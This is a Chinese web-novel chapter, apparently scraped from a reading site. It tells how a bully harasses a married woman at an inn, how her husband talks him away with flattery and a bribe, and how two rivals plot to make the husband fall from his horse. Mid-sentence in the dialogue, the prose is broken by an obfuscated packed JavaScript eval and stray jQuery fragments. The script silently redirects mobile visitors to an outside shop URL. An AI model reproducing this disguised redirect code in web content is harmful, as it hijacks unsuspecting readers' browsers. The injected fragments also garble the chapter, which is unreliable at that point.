文趣网 > 其他小说 > 位极人臣时,我后悔了 > 12. 书院
    “请你放开我!我已经嫁了人了!”姜不晚用力想摔开他的手,脸颊和露出的一节脖颈也因挣扎变得通红。可胡庆的手就像铁箍一样紧紧攥着她的手腕,怎么也挣不脱。

    在一楼大堂吃饭的客人不少,却没有一个人敢站出来说句公道话。有几个见过胡庆欺男霸女场面的人,只敢暗暗和好友交头接耳感慨又一个姑娘要惨遭毒手。

    店小二在一旁不知如何是好,瞧着姜不晚梳的妇人发髻,硬着头皮开口:“胡爷,这位客人已经嫁了人,您看……”

    胡庆哼了一声,重重地拍了下桌子:“那又如何,我胡庆想要的,没有得不到的!”

    店小二来回看了眼胡庆和姜不晚,实在过不去良心那道坎。一跺脚,下定决心去找客栈掌柜出来解围劝劝这位胡爷。

    “你,你怎么能这样!”姜不晚实在没想到有这么不讲礼仪道德的人,瞪大了双眼。

    “我怎么样?是这样,还是那样?”胡庆不怀好意笑着,黝黑粗糙的手在她手臂上来回摸。

    她被吓得直发抖,面色惨白:“我会去报官的,你就不怕官府捉你么……”

    见他脸色丝毫未变,反而愈发嚣张,她咬咬牙迫不得已搬出裴洵:“我夫君就在青州的松林书院读书,他要是知道了肯定会为我讨公道。”

    胡庆上前一步,浑浊的呼吸声几乎要贴到她的脸颊,恶狠狠道:“你尽管报官,看看有没有人帮你!”

    这时客栈门口传来一年轻男子的声音,打断了二人的相恃:“胡大人,这是怎么了?”

    “你是哪儿来的小子,跟我攀附上了?”胡庆斜睨着对方,贴近姜不晚的身体稍微远离了些。

    来人正是裴洵,他拱手行了个半礼,笑道:“胡大人所中意的女子正是在下内子。”

    胡庆仰着鼻孔看人:“哦?管你什么内子不内子的,在老子面前统统只能做孙子!”

    裴洵面色未变,道:“听闻胡大人,丧妻多年未娶,家中只有位老母亲和十四岁大的孩子,不知是真是假。”

    “怎地了?”胡庆狐疑道。

    裴洵拍手称赞,“像胡大人这样担心孩子被继母苛待,婆媳不合而多年未娶的人,实在少见,拳拳之心真是让在下敬佩。”

    一旁的姜不晚听他说这话,惊讶极了,嘴张得大大的,想说些什么却被裴洵一个眼神制止。

    胡庆被说得有些汗颜,哽在脖子里的话也说不出口。他哪儿是为了儿子不娶,纯粹是因为不娶妻自在些,家中没有人能管束他花天酒地。

    可他又不能反驳裴洵的话,否认了那岂不是承认了他是个既不孝顺又不爱子的浑人?

    裴洵又突然笑出了声。

    “你笑什么?”气焰下去了许多。

    “感慨胡大人不仅功夫一流,还有如此孝心和舔犊。还好曹通判慧眼识珠,不然真是埋没了您这等人物。”

    虽然明显是恭维之话,但谁不爱听人吹捧自己呢?胡庆的脸色明显缓和,道:“算你这后生有眼光。”忽的眼神一转,“既然如此,那你合该识相点乖乖让出来,也少费些功夫。”

    裴洵仍笑着不见动怒:“容在下问一句,令郎今后打算做什么?”

    “自然是读书考取功名,当今天子重用重文轻武,文人地位很高。当个武夫不说得不到中用,更是要打磨筋骨,其中滋味苦不堪言,他受不了这个。”

    “大人说的极是,那你可知读书人最看中的是什么?”

    “才华?”胡庆不确定道。

    “是名声。我虽知大人的良苦用心,但不熟识的人只怕会产生误会,令郎日后还需娶妻生子,适龄女子相看人家往往是听美名择婿,还望大人多多考虑。”一副完全为了胡庆考虑的模样。

    “况且内子虽容貌尚可,却是个拈酸吃醋的小女子。我当初也是十分欢喜娶了她,可成婚后便深受其害,一腔后悔无处可说。若真入了大人家门,只怕搅得家宅不宁,人丁不兴。”裴洵余光见姜不晚露出伤心之色,却还是继续说了下去。

    胡庆面露迟疑,明显有被说动。

    “大人可知三月后朝廷将派监察使巡察各地治理情况?今上对此很重视,特意选用了素有清廉之名,刚正不阿的林德业把关。曹通判负责监察青州大小事宜,必当以身作则才能以理服人。若大人因此事被人传出了不好的名声,只怕会怪罪大人,得不偿失啊!”裴洵故作可惜道。

    胡庆不说话,脸色凝重。

    “你说得有些道理。”但他望向姜不晚的眼神仍然带着些不舍。

    裴洵从袖口拿出一个沉甸甸的钱袋塞到他手中,弯腰贴近他的耳边:“胡大人,我记得甜水巷西边有许多容貌上佳的女子,大人可去那处看一看。我相信凭大人的伟岸英姿,必定能寻到中意的人。”

    “若是骗我,要你好看。”胡庆恶狠狠道,露出一个阴森森的笑,拿着钱离开。

    “走吧,没事了。方才不过是敷衍的话,并非事实。”裴洵牵起她的手,低头看她。

    “那,他发现了找你麻烦怎么办?”姜不晚担心道。

    裴洵贴近她耳边,含笑道:“我是说,说你善妒令我苦不堪言是假,其余的都为真。”

    她长长地“哦”了一声,坏情绪离开得很快,这会儿又因他的几个动作和话语变得喜笑颜开,喜怒哀乐全凭裴洵的一举一动。

    她乖乖地把手交到他的掌中,十指相扣。

    她就知道,裴洵是无所不能的,那样横行霸道的人都被他三言两语劝走。

    她的夫君真是一个顶天立地的君子。

    她一想他,他就出现了。真好。

    “我们现在去哪儿?”

    裴洵反复摩挲着刚刚被胡庆碰过的手腕,直至发红疼痛到姜不晚惊呼一声,他才如梦初醒:“去书院。”

    “阿洵,大燕不是规定女子不能读书么?我真的能进去吗?”姜不晚站在松林书院门口有些踌躇。

    “放心,书院留有专门学子家眷探视的住所,只住几日不碍事。”

    书院很大,裴洵带着她一路往西边走,在挂着“堆锦园”牌匾的门口停下。

    “缺什么就去刚才咱们经过的‘抱朴居’找陈管事报我的名字,若

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679895|207646||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有急事实在万不得已可去‘竹里馆’寻我。”

    堆锦园名如其实,景色宜人,清幽安静,暂居几天并非难事。可偏偏姜不晚面露迟疑,拉住了裴洵要离开的手。

    刚才胡庆那一出的确是吓到了她,这会儿要跟他分开她心里实在不安。

    裴洵拨开她的手,耐心道:“晚晚,天色不早了,我还有要事,不能陪你太久,听话些好么?此处僻静偏远,鲜有人来,书院管理严格,不必担心贼人。园中我记得有香胰子,回去烧上热水痛痛快快沐浴一番,早些休息吧。”

    姜不晚被说服了。

    她跟着裴洵来青州本就不想给他添麻烦,没成想刚待了不到一日就出了乱子,她是在心里难以过得去。

    早知就饿着不出门,偏偏在这人生地不熟的地方去寻人干什么,她心里十分懊悔。

    这香胰子的味道的确好闻,加了薄荷和茉莉花粉。她特意在被碰过的手腕来回洗了好几遍,直到身上都沾染了那股茉莉淡香。

    床铺松软,被子轻而温暖,照理说姜不晚躺在床上就该睡着,可她偏偏失了眠。腕间的红痕有些疼,今日的惊险和害怕一闭眼就浮现在她的脑子里,她翻来覆去睡不着,索性穿上衣衫在园中走走。

    园中的景物在一轮明月下如积水空明,一汪池水旁坐了个披头散发的人。

    她被吓了一跳,正想转身离开装作没看见,却见那人也转过身来,两人正好对视,都被吓了一跳。

    原来是个女子。

    披发的女子五官英气,带着点雌雄莫辨的美。她用手指比了个嘘的动作,瑰丽的眼睛亮亮的,笑容勾心神魂,开口道:“今晚见到我的事,请你不要说出去好不好?”

    姜不晚愣愣点头,习惯性地回以一笑,解释道:“我只是在这里暂且待几天,并不是书院的常客。”

    她语气很高兴:“那太好了。”说着又从袖子里拿出一盒包装雅致的胭脂塞进她的手里,“这是我从凝香斋买的新品,还未用过,送给你,还请你千万不要将今日的事情说出!”

    姜不晚想把东西还给她,可她走得太快,实在是追不上。只好暗暗记下她的样子,以后有机会见了定要谢谢她。

    昨日裴洵走得匆忙,姜不晚没来得及问公厨在哪里,这会儿有些饿了。但想起昨日的祸端,她还是决定不出门再等等,却看见两个人鬼鬼祟祟往这边走。

    “陶哥,这么做被发现了怎么办?”一瘦弱身材矮小的男子问旁边那穿着锦衣华服的男子。

    陶建元道:“怕什么,等被发现了裴洵也从马背上摔下来了。到时候生死不明,我们一口咬定是意外,又有谁会为一个毫无背景的穷书生讨公道?”

    “他活着尚且有价值能为书院争光,死了残了谁会为了他和我作对?愿意做吃力不讨好的事儿只是少数。松林书院能在青州占据学府之首这么多年,不是只知繁文缛节和讲究追根到底那一套的。”

    “还是哥哥你聪慧过人!我怎么就没想到这一茬呢。”

    陶建元仰起脸,哼哼笑了:“好好看,好好学!这人情世故可大着呢!”